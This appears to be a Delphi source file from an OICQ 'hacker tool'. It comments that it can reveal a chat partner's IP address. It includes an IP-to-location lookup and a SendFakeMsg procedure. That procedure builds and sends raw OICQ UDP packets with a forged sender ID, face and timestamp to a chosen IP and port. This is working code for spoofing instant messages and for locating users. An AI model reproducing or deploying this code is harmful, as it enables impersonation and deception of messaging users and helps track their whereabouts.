data.pas

OICQ黑客工具。可以查看对方IP地址

unit data;
{$define DEBUGVERSION}
interface
uses dialogs,windows,SysUtils,forms;
type
    TIPInfo=record
        StartIp:string[18];
        EndIp:string[18];
        Country:string[16];
        Location:string[54];
        end;
procedure LoadIPInfo(FileName:String);
function FindIpInfo(ip:string):TIPInfo;
procedure SendFakeMsg(SrcId,SrcFace,DestId,DestIp:string;DestPort:WORD;msg:String;aDate,aTime:TDateTime);
function StrToIp(str:string):DWORD;
function GetParse(buf:array of char;buflen,StartPos:integer;var s:string):integer;
function ArrayStrCopy(var buf:array of char;buflen,pos:Integer;s:string):Integer;
function GetStrFromBuf(buf:array of char;BufLen,nOffset:DWORD):string;
function ParseStrFromBuf(buf:array of char;buflen,nOffset,flag:DWORD;var str:String):Integer;
var
IPInfoCnt:Integer;
IpInfos:array of TIPInfo;
nFakeCnt:Integer;

implementation
uses info,main,dbf_c;
function ParseStrFromBuf(buf:array of char;buflen,nOffset,flag:DWORD;var str:String):Integer;
var
i:DWORD;
begin
i:=nOffset;
str:='';
while(i<BufLen)do
    begin
    if((buf[i]=chr($1f)) or (buf[i]=chr($1e)))then Break
    else str:=str+buf[i];
    Inc(i);
    end;
Result:=i;
end;
function GetStrFromBuf(buf:array of char;BufLen,nOffset:DWORD):string;
var
i:DWORD;
begin
i:=nOffset;
Result:='';
while(i<BufLen)do
    begin
    if(buf[i]=chr($1f))then Break
    else Result:=Result+buf[i];
    Inc(i);
    end;
end;

function StrToIp(str:string):DWORD;
var
s:string;
l,i,parse:Integer;
adr:array [0..3] of DWORD;
begin
parse:=0;
l:=length(str);
for i:=1 to l+1 do
    begin
    if(i<=l) and (str[i]<>'.')then
        begin
        s:=s+str[i];
        end
    else
        begin
        adr[parse]:=StrToIntDef(s,0);
        Inc(parse);
        s:='';
        end;
    end;
Result:=(adr[0]shl 24)or(adr[1] shl 16) or(adr[2] shl 8) or adr[3];
end;

function IPEqu(ip1,ip2:string):Boolean;
begin
Result:=(StrToIp(ip1)=StrToIp(ip2));
end;

function GetParse(buf:array of char;buflen,StartPos:integer;var s:string):integer;
var
i,st:Integer;
begin
s:='';
st:=StartPos;
Result:=0;
//remove head $1f and $1e
for i:=StartPos to buflen-1 do
    begin
    if(not (Ord(buf[i]) in [$1e,$1f]))then Break
    else Inc(st);
    end;
for i:=st to buflen-1 do
    begin
    if(not (Ord(buf[i]) in [$1e,$1f]))then
//    if(Ord(buf[i])<>$1f)then
        begin
        s:=s+buf[i];
        end
    else
        begin
        Result:=i+1;
        exit;
        end;
    end;
end;
function ArrayStrCopy(var buf:array of char;buflen,pos:Integer;s:string):Integer;
var
i,l:Integer;
begin
Result:=pos;
l:=length(s);
for i:=1 to l do
    begin
    if((pos+i-1)<buflen)then buf[pos+i-1]:=s[i];
    Result:=pos+i;
    end;
end;
procedure SendFakeMsg(SrcId,SrcFace,DestId,DestIp:String;DestPort:WORD;msg:String;aDate,aTime:TDateTime);
var
pBuf:array [0..2048]of char;
i:Integer;
begin
for i:=0 to 2047 do
    begin
    pBuf[i]:=chr(0);
    end;
Inc(nFakeCnt);    
pBuf[0]:=chr(2);
pBuf[1]:=chr(0);
pBuf[2]:=chr(0);
pBuf[3]:=chr(0);
pBuf[4]:=chr($80);
pBuf[5]:=chr(nFakeCnt);
pBuf[6]:=chr(0);
pBuf[7]:='0';
pBuf[8]:='0';
pBuf[9]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,10,SrcId);
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,DestId);
pBuf[i]:=chr($1f);
pBuf[i+1]:='0';
pBuf[i+2]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+3,SrcFace);
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(aDate));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(aTime));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,msg);
pBuf[i]:=chr($03);

MainForm.FakeUDP.RemoteHost:=DestIp;
MainForm.FakeUDP.RemotePort:=DestPort;
MainForm.FakeUDP.SendBuffer(pBuf,i+1);

//MainForm.Timer.Enabled:=True;
end;


function FindIpInfo(ip:string):TIPInfo;
var
sip,eip,ipd:DWORD;
i:DWORD;
n:Integer;
begin
ipd:=$ffffffff;
i:=StrToIp(ip);
for n:=0 to IPInfoCnt-1 do
    begin
    sip:=StrToIp(IPInfos[n].StartIp);
    eip:=StrToIp(IPInfos[n].EndIp);
    if(sip<i) and (eip>i)then
        begin
        if((eip-sip)<ipd)then
            begin
            ipd:=eip-sip;
            Result:=IPInfos[n];
            end;
        end;
    end;
end;

{procedure LoadIPInfo(FileName:String);
var
i:Integer;
f:File of TIPInfo;
begin
Assign(f,FileName);
Reset(f);
IPInfoCnt:=FileSize(f);
SetLength(IpInfos,IPInfoCnt);
i:=0;
while not eof(f) do
    begin
    Read(f,IpInfos[i]);
    Inc(i);
    end;
CloseFile(f);
end;}
procedure LoadIPInfo(FileName:String);
var
dbf:TDBF;
i:Integer;
begin
i:=0;
dbf:=TDBF.Create(Application);
dbf.TableName:=FileName;
dbf.Open;
IPInfoCnt:=dbf.RecordCount;
SetLength(IpInfos,IPInfoCnt);
try
    while(not dbf.Eof)do
        begin
        IpInfos[i].StartIp:=dbf.FieldByName('StartIp').AsString;
        IpInfos[i].EndIp:=dbf.FieldByName('EndIp').AsString;
        IpInfos[i].Country:=dbf.FieldByName('Country').AsString;
        IpInfos[i].Location:=dbf.FieldByName('Local').AsString;
        dbf.Next;
        Inc(i);
//        if(i=190)then ShowMessage('break');
        end;
except
    On e:Exception do
        begin
        ShowMessage(e.Message);
        end;
    end;
dbf.Close;
end;

end.